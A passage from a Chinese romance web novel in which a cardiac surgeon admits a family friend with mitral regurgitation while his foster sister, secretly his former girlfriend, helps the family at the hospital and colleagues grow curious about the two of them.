她是陪同别人来看病的,不是自己要看病,更不是要给别人看病,严格来说,她应该算是一个无关路人。 不仅她是这么想的,在场其他人也明显都是这么想的。 所以当江问舟把检查报告递给她,并且让她说说下什么诊断的时候,其他人也都懵了。 自家人还好,多少能领会他的意思,齐眉也是学医的,而且现在仍然从医——机场医生也是医,遇到突发心脏问题的旅客是常有。 但跟诊的学生可就傻眼啦,好家伙,病人找你看病,你让家属自己下诊断? 不是,主任,这套路好像很眼熟啊!!! 学生小心翼翼地问道:“主任,那个……给错了?给我的吧?” 齐眉听到这话,瞬间就回过神来,下意识往后一仰,嘀咕道:“上赶着被考啊……” 学生:“???” 完啦!这套路看起来越来越眼熟了!!! 果然,下一秒就听江问舟淡淡地解释:“这是我……学妹。” 学生顿时恍然大悟,哦哦两声,冲齐眉问了声好:“师姐好。” 齐眉脸皮一抽,连忙诶的应了声,有些尴尬地赶紧拿过桌面上的检查报告。 孙茂芸他们也都被逗笑起来,刚才紧张的气氛顿时一扫而空。 但他们很快就发现,齐眉的脸色也渐渐变得郑重起来。 “西西,这检查结果怎么样?问题大不大,好不好治?”孙茂芸连忙问。 齐眉咬了一下嘴唇,抬头看向江问舟。 江问舟回望着她,眼睛里竟然闪过一抹笑意,很淡,又转瞬即逝。 “这就要看舟哥觉得手术难不难做了。”她低下头,指指报告上的结论,“纪叔叔心脏的左房、左室有明显增大,二尖瓣关闭不全,后瓣脱垂,中度反流,反流面积8cm,已经要到重度反流了,这种时候再想靠内科治疗恢复健康,不太现实了。” 声音有些轻轻的,但语气十分笃定。 于是江问舟觉得自己心底的情绪再次翻滚起来。 他忍了忍,等齐眉把话说完,就将听诊器递过去,“仔细听,心尖区可以听到收缩期杂音,向左腋传播。” 声音平静温和,可如果足够仔细,足够了解他,就会听出他声音里的一丝紧绷。 齐眉抿抿唇,接过听诊器,一个字也没说。 在她给纪达听诊的时候,江问舟跟纪达解释他的病,为什么诊断是二尖瓣关闭不全,发病机制是什么,怎么分型,别看现在没什么症状,但任由其发展下去,肯定出现左心室功能减退。 “可能会出现肺淤血之类左心衰竭的情况,到了晚期,肺动脉高压或者全心衰竭也很有可能出现,所以早发现,早进行干预治疗,才能保证之后的生活质量。” 纪达听了就问:“那我就……必须住院手术啦?” “我的建议是手术。”江问舟点点头。 话音刚落,就听跟诊的学生问齐眉:“师姐,能让我听听吗?” 齐眉看向纪达,纪达大方点头:“听嘛。” 她便把听诊器递过去,退到一边,听江问舟继续道:“您要是愿意手术,我今天就给你开住院,早点完善检查,安排手术,也好早点康复出院。” 纪琏看向他爸,问道:“爸?” 纪达摸摸后脑勺,叹口气道:“那就住呗,打电话让你妈过来管我得了,你回去上班。” “我妈过来多麻烦,露露还要上幼儿园呢,我再多请十天半拉月的假呗,都多少年没休过年假了。”纪琏摇头道。 江问舟听着父子俩的讨论,低头刷刷开收住院的条子。 孙茂芸和江眀琮在一旁你一言我一语地给他打气,说用不着家里其他人来了,有他们呢,纪琏一个在就行了。 接着江眀琮还问江问舟:“手术是小手术吧?有把握吧?” 别说江问舟了,齐眉听了都忍不住无语。 “干爸……” “这个要等全部检查都完善以后,才能根据检查结果制定手术方案。” 俩人不约而同地开口,同时抬眼看向彼此,眼神只轻轻触碰了一下,立刻错开。 江问舟就算是对着父母,也不可能把话说满,只说要等检查结果出来才能知道具体怎么样。 开好住院条子,大家便离开了诊室。 出了门,孙茂芸说:“让西西和小纪去缴费吧,我们先上楼报到。” 叫号的广播又响了起来,趁着下一个病人还没进来,江问舟给秦一鸣打电话,让他收一个病人。 “二尖瓣关闭不全的,你和沈媛看看谁手头病人少,收一下。” 秦一鸣应好,问他:“就是你昨天说的那位家里的长辈是吧?” 江问舟应了声是,介绍说:“我爸的战友。” 等挂了电话,跟诊的学生忍不住好奇:“主任你爸爸是当兵的啊?” 刚想说怪不得看起来很有气势,很正气那种,就听江问舟嗯了声:“退休之前是公安。” 话音刚落,下一位病人进来了,这个话题到此打住。 齐眉和纪琏按着医院里的路标指示,找到江问舟写在条子上的缴费处,帮纪达办好了住院手续,往里面存了一笔钱。 一面往住院部走,一面给孙茂芸打电话,告诉她住院手续办好了,让她问问护士入区没有,要是有双人间单人间更好,安静些。 “还有还有,记得告诉我们床号。” 孙茂芸笑着道:“我们还在护士站这儿的,医生在问你纪叔叔个人信息呢,你们上来应该正好。” 齐眉应了声好,刚把电话挂断,就见电梯里进来了熟人。 她咦了声,连忙打招呼:“徐医生。” 站在门边的一位女医生疑惑地回头,看见是她,脸上又露出恍然大悟来,“齐小姐怎么在这儿?是来探病?” “家里有长辈今天办住院,帮忙跑个腿。”齐眉笑着应道,问她,“徐医生这是从门诊回来吗?” “去了趟儿科。”徐医生笑眯眯地摇摇头,“也是帮忙跑腿,有个病人请了我上级会诊,刚好不在,就改成我了。” 解释完又问:“你家里人在哪个科住院啊?” 齐眉笑着应:“心外科,胸闷心悸过来的,初步诊断是二尖瓣关闭不全。” “我们医院心外科还是很不错的,来了新主任,还是从申城那边引进的顶级专家,你家里人肯定没事的。” “借你吉言。” 才聊了没几句,电梯就停了,徐医生要下了,冲她道声回头再聊。 电梯重新启动上行,没一会儿就到了心外科一病区,从电梯出来右转,很快就找到护士站,孙茂芸他们果然还在。 她小声喊了声干妈,加快脚步往那边走。 秦一鸣听到声音,抬眼往齐眉那边看了一眼,有些错愕,哇靠,这不是……那谁么? 不过到底眼前的病人更重要,听诊完之后,让护士带他们去病房,说一会儿要抽个血,交代好了,秦一鸣拿着病历夹离开。 而齐眉根本没意识到纪达的管床医生认出了自己,边跟着走,边小声问孙茂芸:“单人间么?” 孙茂芸点点头,又说:“一会儿还要去买东西呢,桶啦脸盆啦,都没准备。” 其实一开始也没想到今天一来就要住院了,匆匆忙忙的,确实准备不周。 “楼下有小超市,一会儿我和小纪哥去买就是。”齐眉应道,继续和她小声说话,“在电梯里碰见我邻居了诶。” “是么,你邻居……”孙茂芸使劲想想,“哦哦,想起来了,你邻居是个跟你差不多大的姑娘,她来这边是?” “她在这儿上班,楼下……好像是肛肠科?反正是什么结直肠科。”齐眉不太确定地回答道。 走在前面带路的护士听到,便回头笑嘻嘻地应她:“是哦,大名叫结直肠,括弧,□□,括弧回来,科,也叫外三科,肛肠科。” “原来是这样。”齐眉笑着道声谢。 等进了病房,纪达安顿下来,齐眉拉开柜子看看,看缺什么,记下来了,这才和纪琏一起下楼去小超市。 忙忙碌碌一直到傍晚,纪达还提醒她:“西西快快回去吃饭吧,不还得去上班么,就别忙了。” 又让江眀琮和孙茂芸先回去,过几天要手术了再来也行,反正这儿有纪琏就够了。 一家三口这才离开,走到了楼下,齐眉忍不住了,问道:“那个……我们不跟舟哥说一声吗?” 而且干爸干妈为什么不等江问舟一起回去啊?不懂,但大人这么做一定有他们的理由。 孙茂芸这才一拍脑袋:“哎哟!我说怎么好像忘了点什么事,真是的,老江你也不提醒我!” 江眀琮一噎,其实他也没想起来。 但是,“不管了,我给他发个信息就行,咱们去吃咱们的,等他还不知道是吃晚饭还是吃宵夜呢。” 江问舟从门诊回到科室,是傍晚六点半,其实不算晚的,也只是比下班时间迟半个小时而已。 办公室里很多同事都还在,他一面看手机一面招呼蔡朝:“查一下我们的病人,陈妍他们呢?” “手术还没回来,秦哥去会诊了。” 他点点头,看到母亲给他发的信息,让他下班自己找点吃的,齐眉请他们去吃过桥米线了。 还给他发了张照片,不算小的桌子上三个大托盘,每人都有一个装着滚汤的石锅和十几个用小碟子装的配菜,看上去精致又丰盛。 江问舟看完,笑着扭头问蔡朝:“吃晚饭了么?” 蔡朝微微一愣,摇摇头:“还没呢,要帮你点吗?” “那就晚上一起吃吧,跟陈妍还有学生们说一声,我请客,你们点菜。”他温声应了一句,在病房门口的速消液瓶子上按了两下,搓搓手,推开病房门进去。 蔡朝这时才反应过来,赶紧应了声好,示意跟过来的学生帮忙通知一下大家。 在病区溜达完一圈,外卖还没来,江问舟去护士站翻还没签字的出院病历去了,陈妍和沈媛已经从手术室回来,见他不在,就抓着蔡朝问怎么回事。 “老大怎么突然要请大家吃饭?” “是啊,好端端的……是不是发生什么好事了?” 蔡朝摇摇头,一脸懵逼:“布吉岛啊,就贼突然……晚查房的时候,突然就问我吃没吃饭,我以为他是想让我帮他一起点外卖呢,结果是要请大家吃饭。” 谁也不清楚到底什么原因,陈妍索性手一挥,“算咯,不管了,有得吃,就先吃了再说!” 大家被她说得忍俊不禁,只有秦一鸣目光微闪,觉得这事变得有趣起来。 但他心里的好奇一直压抑到吃完饭要下班。 他特地等着江问舟一起走,停车场里只有他们俩,正是交换信息的好时候。 但他还没想好怎么开口,就听江问舟慢悠悠地说了句:“见到我……妹妹了?” 秦一鸣一噎,忍不住脱口而出吐槽道:“老大,是妹妹还是前女友,我自有分辨。” 我又不是失忆了! 江问舟顿时失笑,知道他是看过自己以前那些还没隐藏的朋友圈,跟着其他人一起在他和齐眉的合照下发过类似“师兄/师弟和师妹/师姐99”之类的评论。 反正江眀琮和孙茂芸不认识他们,看不到他们发了什么,所以他都很放心的,可是现在…… “我和西西……”他顿了顿,又换了个称呼,“我和她之间的事有些复杂,我爸妈一直都不知道,也暂时没到告诉他们的时候,所以……” “放心,我肯定保密。”秦一鸣向他保证,又好奇打听,“那你今天突然请大家吃饭,也跟她有关?” 江问舟摇摇头,嘴角噙着一丝很淡的笑,但却渗透进了声音里:“她带我爸妈出去吃饭了,家里没我的饭,只能在单位吃过再回,既然这样,那就大家一起吃好了。” 你请客,我也请客,谁都没有输哈。 真是该死又莫名其妙的胜负欲:) ————— 纪达入院第二天,齐眉还是休息,早上刚睁眼,就接到孙茂芸的电话,问她起来没有。 “要起来了,干妈什么事呀?”她缩在夏被里,感受着被子外不冷不热的宜人温度,觉得舒服极了。 今天周几来着?哦,对,周三。 谁在工作日可以休息不用上班呀,是我呀! 听她的声音懒洋洋的,含糊得像是在撒娇,孙茂芸就想起来她小时候的样子了,顿时忍不住笑出声来。 问她:“不睡回笼觉吧?现在叫你起来,不会哭鼻子了吧?” 齐眉:“……” “……好好的,干嘛揭人老底啊?”过了好半晌她才回过神来吐槽道。 孙茂芸哈哈大笑,小时候每天中午叫她起床去上学,她都会哭一场,她和江眀琮吓坏了,怕这孩子心理出问题,毕竟刚刚没了爸爸,又在别人家生活,有点什么真的不好说。 小孩子虽然小,可能都不懂怎么写寄人篱下这四个字,但会感觉到的,这里不是自己的家。 他们小心翼翼地哄了一段时间,发现情况没有改善,就通过组织内的关系,给齐眉安排了一个据说很会跟小朋友交流的儿科医生。 医生跟齐眉聊了快一周,得出一个结论:她没事,哭就是单纯想哭,甚至跟睡没睡够都没关系,就是想嚎两嗓子,慢慢就好了。 这给孙茂芸和江眀琮两口子带来了极大的震撼,好家伙,还能这样? 江问舟那时候读中学,中午是不回家吃饭的,所以一直不知道齐眉还会这样,听说以后也傻眼了,这是什么操作? 后来家里人便偶尔拿这事调侃她,说她小时候是个爱哭鬼。 江问舟更加直接,后来有一次提起这事时,用的评价是:“你真是娇气,小时候上学哭,现在也哭,不是你先要的?还有脸哭。” 哦,具体场景不方便描述,总之那以后再听人提起小时候的这桩糗事,她就会想起江问舟对她的吐槽。 “所以是什么事嘛?”她捂着滚烫的脸和耳朵,连忙扯开话题。 孙茂芸止住笑声,用带着笑意的语气道:“闲着也是闲着,我和你干爸过去你那儿?咱们买菜去,中午给你煮汤。” 这话说得也没错,确实是闲着,齐眉于是应了声好。 等挂了电话,她起身洗漱和收拾屋子,给自己煮了一碗云吞。 云吞是孙茂芸前一天做的,鲜虾猪肉馅,吃起来很鲜,口感脆弹。 顺便给年年煮了个鸡蛋,喂它吃完,就带它下楼遛弯。 小区养狗的家庭不少,刚下楼没走多远,就碰到隔壁单元的一条咖啡色陨石边牧。 小狗看起来不太高兴,垂头丧气的,它的主人拽着狗绳在数落它,大意是说它到处乱跑,再这样就揍它。 大概是觉得这人好凶,年年停了下来,贴在齐眉腿边,仰头看她,不笑了,连尾巴都垂下来好多。 齐眉觉得好笑,问它:“你怕什么?人家又没骂你。” 说完隔着车道问对面的狗主人:“橙子妈妈,怎么啦,怎么一大早就教训孩子呀?” 正在数落自家傻狗的边牧主人闻声,停下来扭头看她一眼,先是跟她打招呼:“年年妈妈今天休息呀?” 然后才叹口气,继续语气愤愤:“还不是它!一大早起来不知道发什么神经,把门给开了,家里的猫叫它放了出来,抓半天才抓回去,一转头,它也跑出来了,气死我了!” 谁家好人一大早起来就跟逃跑的猫狗搏斗啊?! 齐眉惊讶:“家里是老式门锁吗?” “那倒不是,是我们今天开始休年假,准备出去玩,打算把它俩送去宠物店寄养几天,一大早就起来收拾,门开了没关严实。”说着又开始吐槽自己丈夫,“它爸也真是有病,明知道家里有猫有狗,跑了万一找不回来哭都没地方哭,居然还敢进出不关门,待会儿就锤他!” 听起来就很可气,齐眉哦哦应了两声,低头就看见边牧正眼巴巴地看着她。 见她看自己了,立刻就委屈地嘤嘤嘤起来。 它妈妈立刻啧了声:“装什么呀?你就是罪大恶极的祸头子,就欺负你爸那个傻子吧你!” 齐眉忍俊不禁地哈哈笑起来,边牧立刻就朝她身上扑,要她抱。 年年一看,也朝她扑,也要她抱。 跟两只狗玩了一会儿,突然听见有人叫她:“西西!” 她立刻松开边牧的狗头往声音来处一看,就见孙茂芸和江眀琮在不远处,正朝她走近。 “年年,爷爷奶奶来了,快去。”她拍拍年年,同邻居道了声别,就跟着年年一溜小跑着去接人。 走近了才发现,江眀琮背后还背着一个背包,齐眉探头一看,忍不住惊呼:“你们怎么把金金也带过来了?” “带出来一起玩嘛,我问过舟舟了。”孙茂芸解释道,“他说金金在原猫舍也有大草坪的,可以让它跑跑,绳子牵牢就好了。” 齐眉哦了声,一边探头去看黑色的猫包,一边问:“要不要放它出来走走?” 江眀琮看看时间,早上九点半,便点点头:“可以让它溜达半个小时,我建议你们十点之前就出发去采购。” 不然中午就没饭吃啦领导! 于是孙茂芸先把金金的猫粮之类东西先拿上楼,齐眉和江眀琮把金金放出来,怕它跑远了或者最后逮不回来,还把牵引绳给它戴上。 江*问舟买的牵引绳可以放得很长,齐眉还特地把它全都扯出来,然后哇一声:“五米长!” 江眀琮被她逗笑,催她赶紧撒手,让金金往前走,到处去探索。 年年有了自家的姐妹,就不搭理别的好朋狗了,接下来遇到两个平时和它玩得很好的博美妹妹,它也不理会。 倒是对方的家长对金金很好奇,围着逗了好半天。 等到十点一到,江眀琮就说:“好啦,时间到,你们俩赶紧去买菜吧,别磨叽了。” 其实买菜的地方很近,出了小区开车十分钟的地方就有一家生鲜超市,孙茂芸挑了几根觉得很满意的排骨,然后转身去称汤料。 “今天煮四神汤,祛祛湿气。”她一边挑拣芡实莲子和茯苓淮山,一边继续道,“待会儿下午去看你纪叔叔,顺便给你哥带点汤过去,他今天值班。” 齐眉帮忙挑莲子的动作顿了一下,半晌哦了声,像是随口问道:“除了汤,还要不要带点别的?” “只带一个汤不够吗?”孙茂芸眨眨眼,“那就再给他带个饭,咱们今天中午吃青豆腊肠焖饭,给他留一碗。” 齐眉嘴角一抽:“……好。” 不知道今天超市是不是有什么活动,五花肉打折,齐眉看着都还不错,就转头问孙茂芸:“干妈,我们中午吃酒酿红烧肉好不好?” 孙茂芸做红烧肉爱用酒酿代替料酒,炖出来的红烧肉趁热吃,一口咬下去,酒酿特殊的香甜就会噗一下冒出来。 “想吃红烧肉啊?吃!”她大方手一挥,说要去看看虾。 齐眉看她转身就走,知道挑肉的事归自己了,便挑挑拣拣地拿了两盒,放进购物车之后,想了想,又挑了一盒。 孙茂芸直到结账时才发现:“这么多肉啊,吃不吃完?” 她以为孩子这是馋肉了。 但到了最后,那一大锅肉齐眉也没能真的多吃几块,只好留出一部分来晚上吃,再把剩下的分分,给在医院的几个人带去。 临出门前,齐眉又想起来:“冰箱还有昨天做的话梅番茄,也给小纪哥带一罐吧。” 小番茄用的是孙茂芸前一天买的,她买得多,给齐眉拿了一袋,齐眉提去了店里,大家没吃完,临收工前她干脆做成了话梅番茄,刚好是三小罐。 他们到医院的时候,将将下午两点,江问舟还没来得及去手术室开始下午的手术。 他接到孙茂芸的电话,让他去一趟纪叔叔的病房。 放下电话,就问一旁正猛灌咖啡的陈妍:“我们62床的病历呢?给我拿一下。” 陈妍端着杯子在凌乱的桌面上四处翻找,好一会儿才从一堆病历的最底下把贴着“62”的那个病历夹抽出来,递给他。 江问舟看得头疼,没忍住,皱着眉指挥了一句:“收拾收拾桌面,用完的病历及时放回病历车,乱成这样像什么样子。” “这就收,这就收。”陈妍连连答应,放下杯子招呼学生帮忙归置病历,看他走了,这才松口气,吐槽道,“看来以后不能随便放东西喽。” “太好啦!终于有人管得动你们啦!”一旁正在控病历的护士凉凉地说了句,还哼了声,“你们老是这样,东西随便乱丢,院感的突击检查抓到,又说是我们护理的问题,护长也批评我们,说我们没协助医生做好工作,不是,这关我们什么事啊?真是的!” 听起来都是委屈,陈妍讪笑,连忙哄她消气,“请你喝咖啡好吧?别气别气,气坏身体没人替哈。” 一听这语气就是多少有点亏心的。 江问舟不知自己一句话还有这样的小风波,拿着病历夹匆匆到了纪达病房,一推门就听见孙茂芸的笑声。 齐眉靠在电视旁边贴墙站着,抱着胳膊听大人说话,听见推门声,就抬头扭脸看过去。 看见是他,便对孙茂芸道:“干妈,舟哥来了。” 她说话时回过头去,江问舟便恰好看见她脑后的抓夹,一只黄绿色眼睛的黑色小猫,看起来憨态可掬,正扒在她随意抓起的头发上。 白衬衫牛仔裤,黑色的平底鞋,身上没有任何配饰,说难听是寡淡,说好听是干净,全凭一张脸撑着。 江问舟突然有些恍惚,想起之前有一次他们要出门去看演出,他等半天她才好,他说我等得很累了你来让我亲亲,被她断然拒绝,理由是用的化妆品都是大牌,老贵了,好不容易都涂上脸了,他一口下去不仅妆会花,还浪费了钱! 也不知道这些化妆品现在是不是都过期被扔了,她用的还是不是这些牌子,又或者……还会不会用。 江问舟回过神,笑着问大家:“在聊什么这个高兴?” “说金金和年年呢。”孙茂芸笑着回答道,“我和你爸带金金去西西那儿了,它俩早上在楼下玩,年年真的很喜欢它姐姐,金金在的时候都不跟别的小狗玩了。” 江问舟听了一愣:“爸给我发信息说要带它出去走走,原来是去……” 他顿了顿,看了一眼齐眉,才继续道:“是去找年年了么?” “是啊,它现在就在西西家里呢,跟在自己家一样,你想看就让西西给你看监控。” 江问舟闻言,扭头看向齐眉。 见她不知什么时候已经站直了,抱着胳膊的手似乎指尖正抠着皮肤。 她很紧张,虽然他知道有什么可紧张的。 “不了。”江问舟笑笑,“我们来聊一下纪叔叔昨天做的那些检查的结果吧,长话短说,我马上就要去手术室。” 病房里轻松的气氛顿时戛然而止,被些许紧张替代。 江问舟安抚道:“这都是入院之后要完善的术前检查,血尿粪三大常规都没什么问题,肝肾功能、凝血功能也都没什么问题,四肢血压和血氧都还行……” 他一边说一边飞快地翻着病历夹,最后说:“接下来还要做冠状动脉的造影,看看有没有冠状动脉病变,明天……应该是明天可以做。” 纪琏这时问:“那手术呢,什么时候能做?” “造影结果出来就可以安排了。”江问舟声音温和,“不过后天就五一假期了,假期我们不做择期手术,所以最快也要安排在五一以后了。” 纪达就问:“那我五一可以出去玩吗?” 齐眉听了忍不住眼睛都睁大了,好家伙,可真敢想啊! “……不可以。”江问舟哭笑不得,“医保会冷不丁就来查病人在不在床的,您出去了,没被抓到就算了,要是被抓到,我是没事,可当班的其他医生护士也会被连累扣钱的。” 多么现实的问题,可工作最基础最根本的目的,就是挣钱糊口。 所以纪达一听就作罢了。 江眀琮倒是满口许诺:“放心,到时候我天天来陪你,给你带好吃的,跟你下棋。” “好吃的可以,下棋就算了,我怕被你气飞。”纪达无语地吐槽他。 这就又热闹起来了,江问舟失笑着摇摇头,正好手机响了,他便接着接电话的功夫,离开了病房。 他走了孙茂芸才想起来:“东西还没给他呢!” 齐眉连忙道:“我给他送过去吧。” 这边江问舟已经回到办公室,看见办公桌已经被收拾整齐,不像之前那样乱糟糟找点东西都找不到了,顿时觉得眼睛都变得舒服多了。 他把病历夹塞进病历车,将听诊器往挂钩上一挂,对蔡朝他们道:“我去手术室,病人有问题你们先处理一下。” 话音刚落,蔡朝还没答应,就先听到门口方向传来一声:“舟……江主任。” 第23章 第二十三章(二合一)他的下流轻浮,…… “老大,有家属找。”蔡朝率先提醒道。 江问舟嘴角一抽,他听见了,不仅听见,还不用转头就知道这个家属是谁家的。 他有些无奈地转过身,看着齐眉吐槽道:“最好改天在家里见到我,你也能叫我江主任,就这么叫,我爱听。” 说到最后语气已经不是吐槽了,而是有些不善,听起来相当不悦。 齐眉一噎,又见他的同事们好奇地看过来,不由得满脸讪讪。 下意识地往旁边挪了挪,正好让他挡住自己。 见她尴尬到眼睛一直往地上看,脸色也有点发红,江问舟又忍不住叹气。 缓了缓语气,才问道:“还有什么事么?” 听到他的声音又变得平和了,齐眉这才松口气,抿了抿嘴角,把手里提的东西递给他。 “干妈让我拿过来的。”她的声音下意识地压低,也没有抬头看江问舟。 江问舟看着她的头顶,心里忽然一闷。 是不是吓到她了?又或者,是让她觉得丢脸了?她这人有时候是还挺要面子的。 他张了张口,想道歉,可话到嘴边又莫名说不出来。 像有湿水棉花从心头堵到喉咙,差点连他的气管都堵住了,胸口憋闷得慌。 他想跟她道歉,可不知道该怎么说才显得不那么生硬疏远,想跟她说秦一鸣认出她来了,又觉得没有必要。 毕竟秦一鸣已经答应保密,她什么都不知道,表现才能自然,否则除非接下来她一直不来看望纪叔叔,否则一定会被爸妈发现她的不对劲。 他当然无所谓,甚至乐见其成,可这却非她所愿。 齐眉见他半天没动,不知道他是怎么回事,但也懒得问,只把东西往他那边递了递。 江问舟这才伸手接过,心里所有的话再度变成一声低沉的叹息。 然后尽量若无其事地问道:“都是什么?” “汤,干妈今天煮了四神汤。”齐眉忙应道,“还有红烧肉,干妈说让你晚上热一热加菜。” 江问舟应了声好,想说些什么,又还是不知道该怎么说,再次变成先前的沉默。 连最起码的道谢都忘了。 最后还是齐眉受不了这种气氛,说既然东西送到了,“没事我就先回去了。” 说完刚转身,还没来得及走,就听这人在背后喊了一声她的名字:“西西。” 齐眉一顿,立刻回头,有些疑惑地看向他:“还有事么?” “没有。”江问舟摇摇头,看着她柔和的眉眼,这次居然很顺利地把心里话说了出来,“就是……谢谢,还有……” 他顿了顿,抿抿唇,才有些不自然地继续道:“刚才……不是故意想凶你,是……” 话没说完,就被齐眉打断:“我知道,说笑而已嘛,没事的。” 江问舟目不转睛地看着她的眼,低声求证似的问了一遍:“没生气?” 声音是那种不自觉的柔软,还藏着若隐若现的忐忑不安。 很久没听他这样低声过,齐眉脸孔一热,忙摇摇头:“没有……没有,你先工作吧,我回去了。” 说完转身,这次是真的走了。 直到觉得身后视线不再,她这才松口气慢下脚步,一边搓着滚汤的耳朵,一边推开病房门进去。 “东西给他了?”孙茂芸见她回来,就扭头笑着问了句,然后诶哟一声,“这耳朵怎么了,怎么这么红?” “……给了。”齐眉点点头,又做出一副疑惑的样子,“耳朵红吗?我说刚才怎么觉得耳朵有点烫,可能是天气太热了吧。” 大家不疑有他,立刻就接受了这个说法,话题先是转到今年的天气上,接着又变成讨论她酒吧生意的旺季是不是已经开始了。 江问舟在看着她离开之后,这才笑着转身向休息室走去。 将袋子放进自己的柜子,这才匆匆下楼去手术室。 办公室里,蔡朝见门口的人都走了,才有些好奇地问一旁相熟的规培生:“小赵,你有没有觉得……我们老大有点怪怪的?” 小赵从敲病历的动作里抬头,稍作沉吟,随即点点头:“有点,感觉两个人又熟又不熟的,肯定有猫腻。” 她看一眼蔡朝,嘻嘻一笑:“要不……蔡总你问问呗,反正是你老大,平时那么熟,有话好说,对吧?” 蔡朝立刻翻了个白眼,不吭声了。 是熟,但也没熟到这份上哈,去跟江问舟打听这事,包得罪他的。 齐眉和孙茂芸他们在医院待到下午差不多五点,看时间差不多了,就先告辞离开,临走还问纪达明天想吃什么,顺便给他带来。 纪达说不用啦,他们人来就很好了,不过如果方便,可以帮他带几份当天的报纸上来。 齐眉站在一旁听他们又聊了一会儿,这才被孙茂芸拉着手出了病房。 刚出来,就在病房门口见到管床护士正在忙,孙茂芸就笑眯眯地跟人家打招呼:“辛苦啦。” 62床一入院,大家就已经全都知道,这是江问舟的家里人,陪着过来办住院的还是他的父母,所以大家打一开始就非常客气,生怕一个没注意就被投诉到江问舟那儿去了。 这会儿听到江问舟的母亲跟自己打招呼,责任护士便忙笑着应道:“不辛苦的,本职工作嘛。” “工作哪有不辛苦的。”孙茂芸笑眯眯地道,跟人家许诺,“回头我让舟……让江问舟请你们喝奶茶哈。” 说完不等人家客气,挽着齐眉就走了。 走远了一点,她才啧声对齐眉吐槽:“你哥不让我们在外头叫他小名啦,哎呀,大了就是不好,不贴心了,还是女儿好,你看,我叫你西西,你就不会觉得丢脸,是不是?” 一旁江眀琮欲言又止,心说你那天不是这么说的。 齐眉胡乱点头,嗯嗯地应着,然后说:“可是舟哥都当上级了,有学生呢,叫小名确实有损威信,是不太合适,对吧?” “看吧,我说什么?还是女孩子贴心周到。”孙茂芸扭头对丈夫道,接着回头,继续道,“他要面子,我们当父母的当然要给他做面子啦,所以我已经帮他请客了,应该都喜欢大方的领导和同事吧?” 齐眉眨眨眼,忍不住噗一下笑出声来,还不敢笑得大声,连忙扭头把脸贴在她肩膀上,把笑给忍了回去。 好家伙,原来还有这个用意! 江眀琮啧了声,慢悠悠地吐槽道:“还得是你啊领导,来阴的。” 孙茂芸一噎,扭头就冲他抬手。 他立刻呐呐呐地提醒:“注意你的形象!你可以是江主任的妈妈,要大气,要优雅,好吗?” 齐眉本来是在笑的,听到江眀琮这句“江主任”,她突然就觉得有点不好笑了。 想到他当时说她的那句,真是又好笑又好气。 这人真难伺候,这么不爱听,别应啊!改天把那个副字给他带上他就觉得好听了:) 江问舟下午的手术排得满,一直到晚上差不多九点,才终于从手术间出来,而担当一助的秦一鸣还在给病人缝合。 他洗了手,去休息室找电脑看组里其他病人的检查结果和医嘱,碰到同样是刚下手术的老师郭瑞卿,叫了声主任,就直接坐了过去。 郭主任正在喝水,见到他就问了句:“点外卖没有,一起?” “不用了。”江问舟摇摇头,笑着应道,“家里有长辈住院,我爸妈来探望,顺便给我带了汤和菜,一会儿我回去泡个泡面就可以了。” “哎哟,值个班还有住家饭吃,不错。”郭主任笑眯眯地开他玩笑,“怎么样,还是回家好吧?” 江问舟有些不好意思,但翘起的嘴角却没能压下去,半晌还是点了点头。 “那你和齐眉……”郭主任试探着问道,“真莫得希望啦?” 他对齐眉和江问舟的事是一清二楚的,也很赞同他们在一起。 抛开漂亮的外表,齐眉聪明,拎得清,识大体懂进退,而且一心一意向着他,江问舟越是要往上走,她的这份品质就可贵。 妻贤夫祸少,老话有老话的道理。 至于什么从小到大当亲女儿养,接受不了女儿变儿媳,会被人议论笑话,诸如此类,这些在他看来都不算什么大问题。 要不说齐眉还年轻呢,脸皮薄,得失心也重,所以做事才会束手束脚,又不跟人商量,头脑一热,就做得过头了。 江问舟听老师问起齐眉,脸色顿时一淡,嘴角的笑意布满无奈和苦涩:“……谁知道呢?我也说不好。” 说完又捏着鼻梁笑笑:“反正还有的是时间,耗着呗。” 郭主任失笑,又劝他:“再争取争取是应该,但也别太死心眼,实在不行就算了,天涯何处无芳草,没必要互相为难和折磨。” 江问舟闻言笑笑,没有接这句话。 过了一会儿,见秦一鸣过来,就问:“病人送去复苏室了?” 得到肯定的答案,他就要回科室去了,临走还问郭主任:“老师要不要和我一吃泡面算了?” 郭主任立刻挥挥手:“泡面还是你自己吃吧,我年纪大了,消化不好,无福消受。” 秦一鸣也忍俊不禁,跟他道了声明天见,就和江问舟一块儿回科室去了。 回去的路上,江问舟跟他有一句没一句地闲聊,说起他的女朋友:“每天都这么晚才下班,她会不会有意见?” “只要我是真的在上班,她就没意见。”秦一鸣不好意思地蹭蹭鼻尖,“她时不时就给我转发一些外科医生出轨的八卦给我,故意问我,你们站了一天下来真的不累吗,真的还有力气搞七搞八吗?” 说完耸耸肩,露出哭笑不得的表情,说:“她真是太看得起我了,每到这个时候就忘了我每天回家跟死狗一样动都动不了的样子。” 江问舟同样忍俊不禁,想起齐眉也做过几乎一模一样的事,一句我懂差点就脱口而出。 幸好及时咬紧牙关忍住了。 回到科室,秦一鸣还要完善手术病人的术后文书,他想了想,干脆自己一个人去查房了。 查了一圈,最后去看纪达。 “现在才忙完?吃饭没有?”纪达问他。 他笑笑:“一会儿就去吃。” 纪达一听就摆手:“那你赶紧走吧,我什么不舒服都没有,你快去吃饭。” 纪琏一边笑,一边跟着劝,于是江问舟在这儿没待到三分钟,就被赶了出来。 回到休息室,他将齐眉下午交给他的那个袋子从柜子里拿出来,打开一看,除了装汤的保温桶和一个透明的饭盒,还有一个齐眉没有提及的三四百毫升的密封罐。 密封罐里一个个樱桃红小番茄挤挤挨挨,顶端划开的十字花刀,就像是密封的记忆匣子突然被劈开的两道裂缝。 那些与此有关的生活片段,便顺着缝隙疯狂外涌。 江问舟突然觉得周遭的空气都变得有些稀薄起来。 ————— “我最近学会了一个小甜品,叫话梅小番茄,我们做来吃吃吧!”齐眉侧躺在沙发上,把脸枕在胳膊上,满脸都是笑意。 江问舟看着她,故意当听不懂:“mei是那个眉?西西的那个眉吗?” “是啊,西梅那个梅,吃了上厕所特别爽的那个。”齐眉也跟他开玩笑,笑嘻嘻地讲歪话,让后又一本正经,“不是啦,是九制话梅的话梅!” “哦,那个啊——”他凑上前去吻她,说着自己都觉得肉麻的话,“我不想吃那个,我想吃你这颗小番茄行不行?甜一点。” “不可以!”她红着脸用力推开他,愤愤吐槽,“真该让那些夸你稳重的老师和学长学姐,崇拜你喜欢你的学弟学妹们好好看看你现在的嘴脸!下流!” 